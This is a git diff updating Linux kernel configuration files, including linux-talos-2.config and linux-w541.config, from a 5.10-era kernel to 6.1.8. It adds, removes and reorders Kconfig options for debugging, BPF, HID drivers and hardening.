@@ -2890,7 +3135,6 @@ CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2902,6 +3146,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2912,19 +3157,26 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # -# CONFIG_DEBUG_INFO is not set -# CONFIG_ENABLE_MUST_CHECK is not set +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2943,22 +3195,28 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -2970,11 +3228,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -2988,16 +3251,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -3031,6 +3291,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3043,6 +3304,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3054,36 +3316,40 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3116,6 +3382,12 @@ CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set # CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-talos-2.config b/config/linux-talos-2.config index 0aa3ac5b1..2e3f1e502 100644 --- a/config/linux-talos-2.config +++ b/config/linux-talos-2.config @@ -22,6 +22,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -151,7 +152,6 @@ CONFIG_SYSFS_SYSCALL=y CONFIG_FHANDLE=y CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_ELF_CORE=y CONFIG_BASE_FULL=y @@ -449,8 +449,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y @@ -516,6 +519,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y CONFIG_PLUGIN_HOSTCC="" CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -664,6 +669,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -727,12 +733,13 @@ CONFIG_DNS_RESOLVER=y # CONFIG_NET_SWITCHDEV is not set # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -750,8 +757,8 @@ CONFIG_AF_RXRPC=y # CONFIG_AF_RXRPC_DEBUG is not set # CONFIG_RXKAD is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -823,6 +830,7 @@ CONFIG_PCI_QUIRKS=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -842,6 +850,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader CONFIG_ALLOW_DEV_COREDUMP=y @@ -1068,6 +1077,7 @@ CONFIG_CHR_DEV_ST=y CONFIG_BLK_DEV_SR=y CONFIG_BLK_DEV_SR_VENDOR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set CONFIG_SCSI_CONSTANTS=y # CONFIG_SCSI_LOGGING is not set @@ -1306,20 +1316,8 @@ CONFIG_INPUT_EVDEV=y # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y -# CONFIG_KEYBOARD_ADP5588 is not set -# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y -# CONFIG_KEYBOARD_QT1050 is not set -# CONFIG_KEYBOARD_QT1070 is not set -# CONFIG_KEYBOARD_QT2160 is not set -# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set -# CONFIG_KEYBOARD_TCA6416 is not set -# CONFIG_KEYBOARD_TCA8418 is not set -# CONFIG_KEYBOARD_LM8333 is not set -# CONFIG_KEYBOARD_MAX7359 is not set -# CONFIG_KEYBOARD_MCS is not set -# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_STOWAWAY is not set @@ -1344,10 +1342,7 @@ CONFIG_MOUSE_PS2_SMBUS=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_MOUSE_APPLETOUCH is not set # CONFIG_MOUSE_BCM5974 is not set -# CONFIG_MOUSE_CYAPA is not set -# CONFIG_MOUSE_ELAN_I2C is not set # CONFIG_MOUSE_VSXXXAA is not set -# CONFIG_MOUSE_SYNAPTICS_I2C is not set # CONFIG_MOUSE_SYNAPTICS_USB is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1492,7 +1487,6 @@ CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_SIFIVE is not set # CONFIG_SERIAL_SCCNXP is not set -# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_XILINX_PS_UART is not set @@ -1629,6 +1623,7 @@ CONFIG_I2C_OPAL=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -2070,6 +2065,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2098,7 +2094,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -2123,6 +2118,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -2131,9 +2128,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -2146,11 +2145,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -2160,6 +2163,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -2277,7 +2281,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2312,9 +2316,6 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set -# CONFIG_USB_HUB_USB251XB is not set -# CONFIG_USB_HSIC_USB3503 is not set -# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set @@ -2322,7 +2323,6 @@ CONFIG_USB_STORAGE=m # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set -# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set @@ -2431,6 +2431,7 @@ CONFIG_RTC_DRV_OPAL=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2542,11 +2543,6 @@ CONFIG_SPAPR_TCE_IOMMU=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2557,11 +2553,21 @@ CONFIG_SPAPR_TCE_IOMMU=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2572,7 +2578,6 @@ CONFIG_SPAPR_TCE_IOMMU=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2581,7 +2586,6 @@ CONFIG_SPAPR_TCE_IOMMU=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2935,9 +2939,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -3076,13 +3088,19 @@ CONFIG_CRYPTO_DES=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -3169,6 +3187,7 @@ CONFIG_XZ_DEC_POWERPC=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -3206,7 +3225,6 @@ CONFIG_ARCH_HAS_PMEM_API=y CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_UACCESS_MCSAFE=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -3218,6 +3236,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -3333,6 +3352,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_WW_MUTEX_SELFTEST is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3345,6 +3365,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set diff --git a/config/linux-w541.config b/config/linux-w541.config index 2ba0a56af..3f5cc9cb0 100644 --- a/config/linux-w541.config +++ b/config/linux-w541.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -62,6 +66,7 @@ CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y CONFIG_IRQ_FORCED_THREADING=y @@ -78,6 +83,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -89,11 +96,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -117,7 +139,6 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 @@ -134,12 +155,15 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set -CONFIG_RELAY=y +# CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" CONFIG_INITRAMFS_ROOT_UID=0 @@ -154,13 +178,13 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -168,7 +192,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -184,10 +207,8 @@ CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -200,17 +221,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -232,17 +242,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y 